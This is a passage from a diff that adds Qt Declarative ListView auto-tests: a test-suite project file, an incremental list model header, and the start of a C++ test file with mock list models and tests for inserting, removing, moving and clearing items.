+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef IncrementalModel_H
+#define IncrementalModel_H
+
+#include <QAbstractListModel>
+#include <QList>
+#include <QStringList>
+
+class IncrementalModel : public QAbstractListModel
+{
+ Q_OBJECT
+
+public:
+ IncrementalModel(QObject *parent = 0);
+
+ int rowCount(const QModelIndex &parent = QModelIndex()) const;
+ QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const;
+
+protected:
+ bool canFetchMore(const QModelIndex &parent) const;
+ void fetchMore(const QModelIndex &parent);
+
+private:
+ QStringList list;
+ int count;
+};
+
+#endif
diff --git a/tests/auto/declarative/qdeclarativelistview/qdeclarativelistview.pro b/tests/auto/declarative/qdeclarativelistview/qdeclarativelistview.pro
new file mode 100644
index 00000000..1633ffca
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/qdeclarativelistview.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+HEADERS += incrementalmodel.h
+SOURCES += tst_qdeclarativelistview.cpp incrementalmodel.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
new file mode 100644
index 00000000..31a8e2d9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
@@ -0,0 +1,2837 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtGui/QStringListModel>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <QtDeclarative/private/qdeclarativeitem_p.h>
+#include <QtDeclarative/private/qdeclarativelistview_p.h>
+#include <QtDeclarative/private/qdeclarativetext_p.h>
+#include <QtDeclarative/private/qdeclarativevisualitemmodel_p.h>
+#include <QtDeclarative/private/qdeclarativelistmodel_p.h>
+#include <QtDeclarative/private/qlistmodelinterface_p.h>
+#include "../../../shared/util.h"
+#include "incrementalmodel.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativeListView : public QObject
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativeListView();
+
+private slots:
+ // Test both QListModelInterface and QAbstractItemModel model types
+ void qListModelInterface_items();
+ void qAbstractItemModel_items();
+
+ void qListModelInterface_changed();
+ void qAbstractItemModel_changed();
+
+ void qListModelInterface_inserted();
+ void qAbstractItemModel_inserted();
+
+ void qListModelInterface_removed();
+ void qAbstractItemModel_removed();
+
+ void qListModelInterface_moved();
+ void qAbstractItemModel_moved();
+
+ void qListModelInterface_clear();
+ void qAbstractItemModel_clear();
+
+ void itemList();
+ void currentIndex();
+ void noCurrentIndex();
+ void enforceRange();
+ void spacing();
+ void sections();
+ void sectionsDelegate();
+ void cacheBuffer();
+ void positionViewAtIndex();
+ void resetModel();
+ void propertyChanges();
+ void componentChanges();
+ void modelChanges();
+ void QTBUG_9791();
+ void manualHighlight();
+ void QTBUG_11105();
+ void header();
+ void footer();
+ void headerFooter();
+ void resizeView();
+ void sizeLessThan1();
+ void QTBUG_14821();
+ void resizeDelegate();
+ void QTBUG_16037();
+ void indexAt();
+ void incrementalModel();
+ void onAdd();
+ void onAdd_data();
+ void onRemove();
+ void onRemove_data();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+ void rightToLeft();
+ void test_mirroring();
+ void orientationChange();
+ void contentPosJump();
+
+private:
+ template <class T> void items();
+ template <class T> void changed();
+ template <class T> void inserted();
+ template <class T> void removed(bool animated);
+ template <class T> void moved();
+ template <class T> void clear();
+ QDeclarativeView *createView();
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &id, int index=-1);
+ template<typename T>
+ QList<T*> findItems(QGraphicsObject *parent, const QString &objectName);
+ void dumpTree(QDeclarativeItem *parent, int depth = 0);
+};
+
+class TestObject : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(bool error READ error WRITE setError NOTIFY changedError)
+ Q_PROPERTY(bool animate READ animate NOTIFY changedAnim)
+ Q_PROPERTY(bool invalidHighlight READ invalidHighlight NOTIFY changedHl)
+ Q_PROPERTY(int cacheBuffer READ cacheBuffer NOTIFY changedCacheBuffer)
+
+public:
+ TestObject(QObject *parent = 0)
+ : QObject(parent), mError(true), mAnimate(false), mInvalidHighlight(false)
+ , mCacheBuffer(0) {}
+
+ bool error() const { return mError; }
+ void setError(bool err) { mError = err; emit changedError(); }
+
+ bool animate() const { return mAnimate; }
+ void setAnimate(bool anim) { mAnimate = anim; emit changedAnim(); }
+
+ bool invalidHighlight() const { return mInvalidHighlight; }
+ void setInvalidHighlight(bool invalid) { mInvalidHighlight = invalid; emit changedHl(); }
+
+ int cacheBuffer() const { return mCacheBuffer; }
+ void setCacheBuffer(int buffer) { mCacheBuffer = buffer; emit changedCacheBuffer(); }
+
+signals:
+ void changedError();
+ void changedAnim();
+ void changedHl();
+ void changedCacheBuffer();
+
+public:
+ bool mError;
+ bool mAnimate;
+ bool mInvalidHighlight;
+ int mCacheBuffer;
+};
+
+class TestModel : public QListModelInterface
+{
+ Q_OBJECT
+public:
+ TestModel(QObject *parent = 0) : QListModelInterface(parent) {}
+ ~TestModel() {}
+
+ enum Roles { Name, Number };
+
+ QString name(int index) const { return list.at(index).first; }
+ QString number(int index) const { return list.at(index).second; }
+
+ int count() const { return list.count(); }
+
+ QList<int> roles() const { return QList<int>() << Name << Number; }
+ QString toString(int role) const {
+ switch(role) {
+ case Name:
+ return "name";
+ case Number:
+ return "number";
+ default:
+ return "";
+ }
+ }
+
+ QVariant data(int index, int role) const
+ {
+ if (role==0)
+ return list.at(index).first;
+ if (role==1)
+ return list.at(index).second;
+ return QVariant();
+ }
+ QHash<int, QVariant> data(int index, const QList<int> &roles) const {
+ QHash<int,QVariant> returnHash;
+
+ for (int i = 0; i < roles.size(); ++i) {
+ int role = roles.at(i);
+ QVariant info;
+ switch(role) {
+ case Name:
+ info = list.at(index).first;
+ break;
+ case Number:
+ info = list.at(index).second;
+ break;
+ default:
+ break;
+ }
+ returnHash.insert(role, info);
+ }
+ return returnHash;
+ }
+
+ void addItem(const QString &name, const QString &number) {
+ list.append(QPair<QString,QString>(name, number));
+ emit itemsInserted(list.count()-1, 1);
+ }
+
+ void insertItem(int index, const QString &name, const QString &number) {
+ list.insert(index, QPair<QString,QString>(name, number));
+ emit itemsInserted(index, 1);
+ }
+
+ void removeItem(int index) {
+ list.removeAt(index);
+ emit itemsRemoved(index, 1);
+ }
+
+ void removeItems(int index, int count) {
+ int c = count;
+ while (c--)
+ list.removeAt(index);
+ emit itemsRemoved(index, count);
+ }
+
+ void moveItem(int from, int to) {
+ list.move(from, to);
+ emit itemsMoved(from, to, 1);
+ }
+
+ void modifyItem(int index, const QString &name, const QString &number) {
+ list[index] = QPair<QString,QString>(name, number);
+ emit itemsChanged(index, 1, roles());
+ }
+
+ void clear() {
+ int count = list.count();
+ list.clear();
+ emit itemsRemoved(0, count);
+ }
+
+private:
+ QList<QPair<QString,QString> > list;
+};
+
+
+class TestModel2 : public QAbstractListModel
+{
+public:
+ enum Roles { Name = Qt::UserRole+1, Number = Qt::UserRole+2 };
+
+ TestModel2(QObject *parent=0) : QAbstractListModel(parent) {
+ QHash<int, QByteArray> roles;
+ roles[Name] = "name";
+ roles[Number] = "number";
+ setRoleNames(roles);
+ }
+
+ int rowCount(const QModelIndex &parent=QModelIndex()) const { Q_UNUSED(parent); return list.count(); }
+ QVariant data(const QModelIndex &index, int role=Qt::DisplayRole) const {
+ QVariant rv;
+ if (role == Name)
+ rv = list.at(index.row()).first;
+ else if (role == Number)
+ rv = list.at(index.row()).second;
+
+ return rv;
+ }
+
+ int count() const { return rowCount(); }
+ QString name(int index) const { return list.at(index).first; }
+ QString number(int index) const { return list.at(index).second; }
+
+ void addItem(const QString &name, const QString &number) {
+ emit beginInsertRows(QModelIndex(), list.count(), list.count());
+ list.append(QPair<QString,QString>(name, number));
+ emit endInsertRows();
+ }
+
+ void addItems(const QList<QPair<QString, QString> > &items) {
+ emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1);
+ for (int i=0; i<items.count(); i++)
+ list.append(QPair<QString,QString>(items[i].first, items[i].second));
+ emit endInsertRows();
+ }
+
+ void insertItem(int index, const QString &name, const QString &number) {
+ emit beginInsertRows(QModelIndex(), index, index);
+ list.insert(index, QPair<QString,QString>(name, number));
+ emit endInsertRows();
+ }
+
+ void removeItem(int index) {
+ emit beginRemoveRows(QModelIndex(), index, index);
+ list.removeAt(index);
+ emit endRemoveRows();
+ }
+
+ void removeItems(int index, int count) {
+ emit beginRemoveRows(QModelIndex(), index, index+count-1);
+ while (count--)
+ list.removeAt(index);
+ emit endRemoveRows();
+ }
+
+ void moveItem(int from, int to) {
+ emit beginMoveRows(QModelIndex(), from, from, QModelIndex(), to);
+ list.move(from, to);
+ emit endMoveRows();
+ }
+
+ void modifyItem(int idx, const QString &name, const QString &number) {
+ list[idx] = QPair<QString,QString>(name, number);
+ emit dataChanged(index(idx,0), index(idx,0));
+ }
+
+ void clear() {
+ int count = list.count();
+ emit beginRemoveRows(QModelIndex(), 0, count-1);
+ list.clear();
+ emit endRemoveRows();
+ }
+
+private:
+ QList<QPair<QString,QString> > list;
+};
+
+tst_QDeclarativeListView::tst_QDeclarativeListView()
+{
+}
+
+template <class T>
+void tst_QDeclarativeListView::items()
+{
+ QDeclarativeView *canvas = createView();
+
+ T model;
+ model.addItem("Fred", "12345");
+ model.addItem("John", "2345");
+ model.addItem("Bob", "54321");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
+ QTRY_VERIFY(testObject->error() == false);
+
+ QTRY_VERIFY(listview->highlightItem() != 0);
+ QTRY_COMPARE(listview->count(), model.count());
+ QTRY_COMPARE(canvas->rootObject()->property("count").toInt(), model.count());
+ QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item
+
+ // current item should be first item
+ QTRY_COMPARE(listview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 0));
+
+ for (int i = 0; i < model.count(); ++i) {
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+
+ // switch to other delegate
+ testObject->setAnimate(true);
+ QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
+ QTRY_VERIFY(testObject->error() == false);
+ QTRY_VERIFY(listview->currentItem());
+
+ // set invalid highlight
+ testObject->setInvalidHighlight(true);
+ QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
+ QTRY_VERIFY(testObject->error() == false);
+ QTRY_VERIFY(listview->currentItem());
+ QTRY_VERIFY(listview->highlightItem() == 0);
+
+ // back to normal highlight
+ testObject->setInvalidHighlight(false);
+ QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
+ QTRY_VERIFY(testObject->error() == false);
+ QTRY_VERIFY(listview->currentItem());
+ QTRY_VERIFY(listview->highlightItem() != 0);
+
+ // set an empty model and confirm that items are destroyed
+ T model2;
+ ctxt->setContextProperty("testModel", &model2);
+
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ QTRY_VERIFY(itemCount == 0);
+
+ QTRY_COMPARE(listview->highlightResizeSpeed(), 1000.0);
+ QTRY_COMPARE(listview->highlightMoveSpeed(), 1000.0);
+
+ delete canvas;
+}
+
+
+template <class T>
+void tst_QDeclarativeListView::changed()
+{
+ QDeclarativeView *canvas = createView();
+
+ T model;
+ model.addItem("Fred", "12345");
+ model.addItem("John", "2345");
+ model.addItem("Bob", "54321");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeFlickable *listview = findItem<QDeclarativeFlickable>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ model.modifyItem(1, "Will", "9876");
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 1);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(1));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 1);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(1));
+
+ delete canvas;
+}
+
+template <class T>
+void tst_QDeclarativeListView::inserted()
+{
+ QDeclarativeView *canvas = createView();
+
+ T model;
+ model.addItem("Fred", "12345");
+ model.addItem("John", "2345");
+ model.addItem("Bob", "54321");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ model.insertItem(1, "Will", "9876");
+
+ QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 1);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(1));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 1);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(1));
+
+ // Confirm items positioned correctly
+ for (int i = 0; i < model.count(); ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QTRY_COMPARE(item->y(), i*20.0);
+ }
+
+ model.insertItem(0, "Foo", "1111"); // zero index, and current item
+
+ QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count());
+ QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item
+
+ name = findItem<QDeclarativeText>(contentItem, "textName", 0);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(0));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", 0);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(0));
+
+ QTRY_COMPARE(listview->currentIndex(), 1);
+
+ // Confirm items positioned correctly
+ for (int i = 0; i < model.count(); ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ QTRY_COMPARE(item->y(), i*20.0);
+ }
+
+ for (int i = model.count(); i < 30; ++i)
+ model.insertItem(i, "Hello", QString::number(i));
+
+ listview->setContentY(80);
+
+ // Insert item outside visible area
+ model.insertItem(1, "Hello", "1324");
+
+ QTRY_VERIFY(listview->contentY() == 80);
+
+ // Confirm items positioned correctly
+ for (int i = 5; i < 5+15; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.0 - 20.0);
+ }
+
+// QTRY_COMPARE(listview->contentItemHeight(), model.count() * 20.0);
+
+ delete canvas;
+}
+
+template <class T>
+void tst_QDeclarativeListView::removed(bool animated)
+{
+ QDeclarativeView *canvas = createView();
+
+ T model;
+ for (int i = 0; i < 50; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ testObject->setAnimate(animated);
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ model.removeItem(1);
+ QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count());
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 1);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(1));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 1);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(1));
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*20);
+ }
+
+ // Remove first item (which is the current item);
+ model.removeItem(0); // post: top item starts at 20
+
+ QTest::qWait(300);
+
+ name = findItem<QDeclarativeText>(contentItem, "textName", 0);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(0));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", 0);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(0));
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(),i*20.0 + 20.0);
+ }
+
+ // Remove items not visible
+ model.removeItem(18);
+ qApp->processEvents();
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(),i*20.0+20.0);
+ }
+
+ // Remove items before visible
+ listview->setContentY(80);
+ listview->setCurrentIndex(10);
+
+ model.removeItem(1); // post: top item will be at 40
+ qApp->processEvents();
+
+ // Confirm items positioned correctly
+ for (int i = 2; i < 18; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(),40+i*20.0);
+ }
+
+ // Remove current index
+ QTRY_VERIFY(listview->currentIndex() == 9);
+ QDeclarativeItem *oldCurrent = listview->currentItem();
+ model.removeItem(9);
+
+ QTRY_COMPARE(listview->currentIndex(), 9);
+ QTRY_VERIFY(listview->currentItem() != oldCurrent);
+
+ listview->setContentY(40); // That's the top now
+ // let transitions settle.
+ QTest::qWait(300);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(),40+i*20.0);
+ }
+
+ // remove current item beyond visible items.
+ listview->setCurrentIndex(20);
+ listview->setContentY(40);
+ model.removeItem(20);
+
+ QTRY_COMPARE(listview->currentIndex(), 20);
+ QTRY_VERIFY(listview->currentItem() != 0);
+
+ // remove item before current, but visible
+ listview->setCurrentIndex(8);
+ oldCurrent = listview->currentItem();
+ model.removeItem(6);
+
+ QTRY_COMPARE(listview->currentIndex(), 7);
+ QTRY_VERIFY(listview->currentItem() == oldCurrent);
+
+ listview->setContentY(80);
+ QTest::qWait(300);
+
+ // remove all visible items
+ model.removeItems(1, 18);
+ QTest::qWait(300);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i+2);
+ if (!item) qWarning() << "Item" << i+2 << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(),80+i*20.0);
+ }
+
+ model.removeItems(1, 17);
+// QTest::qWait(300);
+
+ model.removeItems(2, 1);
+ model.addItem("New", "1");
+
+ QTRY_VERIFY(name = findItem<QDeclarativeText>(contentItem, "textName", model.count()-1));
+ QCOMPARE(name->text(), QString("New"));
+
+ // Add some more items so that we don't run out
+ for (int i = 50; i < 100; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ // QTBUG-19198 move to end and remove all visible items one at a time.
+ listview->positionViewAtEnd();
+ for (int i = 0; i < 18; ++i)
+ model.removeItems(model.count() - 1, 1);
+ QTRY_VERIFY(findItems<QDeclarativeItem>(contentItem, "wrapper").count() > 16);
+
+ delete canvas;
+}
+
+template <class T>
+void tst_QDeclarativeListView::clear()
+{
+ QDeclarativeView *canvas = createView();
+
+ T model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ model.clear();
+
+ QTRY_VERIFY(listview->count() == 0);
+ QTRY_VERIFY(listview->currentItem() == 0);
+ QTRY_VERIFY(listview->contentY() == 0);
+ QVERIFY(listview->currentIndex() == -1);
+
+ // confirm sanity when adding an item to cleared list
+ model.addItem("New", "1");
+ QTRY_VERIFY(listview->count() == 1);
+ QVERIFY(listview->currentItem() != 0);
+ QVERIFY(listview->currentIndex() == 0);
+
+ delete canvas;
+}
+
+
+template <class T>
+void tst_QDeclarativeListView::moved()
+{
+ QDeclarativeView *canvas = createView();
+
+ T model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ model.moveItem(1, 4);
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 1);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(1));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 1);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(1));
+
+ name = findItem<QDeclarativeText>(contentItem, "textName", 4);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(4));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", 4);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(4));
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->y() == i*20);
+ }
+
+ listview->setContentY(80);
+
+ // move outside visible area
+ model.moveItem(1, 18);
+
+ // Confirm items positioned correctly and indexes correct
+ for (int i = 3; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.0 + 20);
+ name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+
+ // move from outside visible into visible
+ model.moveItem(20, 4);
+
+ // Confirm items positioned correctly and indexes correct
+ for (int i = 3; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->y(), i*20.0 + 20);
+ name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+
+ delete canvas;
+}
+
+void tst_QDeclarativeListView::enforceRange()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-enforcerange.qml"));
+ qApp->processEvents();
+
+ QDeclarativeListView *listview = findItem<QDeclarativeListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ QTRY_COMPARE(listview->preferredHighlightBegin(), 100.0);
+ QTRY_COMPARE(listview->preferredHighlightEnd(), 100.0);
+ QTRY_COMPARE(listview->highlightRangeMode(), QDeclarativeListView::StrictlyEnforceRange);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
